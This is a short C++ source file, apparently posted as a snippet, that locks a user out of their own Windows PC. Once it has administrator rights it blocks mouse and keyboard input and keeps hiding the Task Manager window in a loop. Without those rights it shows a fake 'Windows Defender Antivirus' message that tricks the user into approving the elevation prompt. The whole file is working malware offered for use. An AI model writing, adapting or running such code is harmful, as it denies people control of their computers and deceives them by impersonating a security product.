[C++] Block Inputs and Kill Task Manager.

locked.cpp

/*
C++ Code to Lock user out of his own PC.
Block Mouse and Keyboard.
Task Manager cannot be opened.
Please do not add persistence. :)
*/
#include "stdafx.h"
#include <Windows.h>
#include <ShlObj.h>

int main()
{
	FreeConsole();
	HWND wind;
	wind = FindWindowA("Task Manager", NULL);
	ShowWindow(wind, NULL);
	if (IsUserAnAdmin()) {
		while (true) {
		
			BlockInput(true);
			HWND task;
			task = FindWindowA(NULL, "Task Manager");
			ShowWindow(task, 0);
			Sleep(200);
		} 
	}
	else {
		MessageBoxA(NULL, "Please run as Administrator. System Scan required. Press OK and Click YES on User Account Control.", "Windows Defender Antivirus", NULL);
   	 	system("yourapp.exe"); // Edit this.
	}
	return 0;
}